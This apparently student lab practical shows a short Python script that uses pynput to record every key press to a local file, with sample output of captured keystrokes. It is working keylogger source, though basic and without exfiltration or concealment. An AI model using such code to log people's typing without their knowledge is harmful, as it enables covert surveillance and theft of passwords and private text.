

Practical No.09

❖ Creating a Keylogger with Python

Input:

```
from pynput import keyboard

def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            print("Error getting char")

if __name__ == "__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
```

Output:

```
= RESTART: D:/keylogger.py
Key.enter
> Error getting char
's'
'r'
'm'
Key.space
Error getting char
'c'
'o'
'l'
'l'
'e'
'g'
'e'
Key.enter
Error getting char
Key.print_screen
Error getting char
```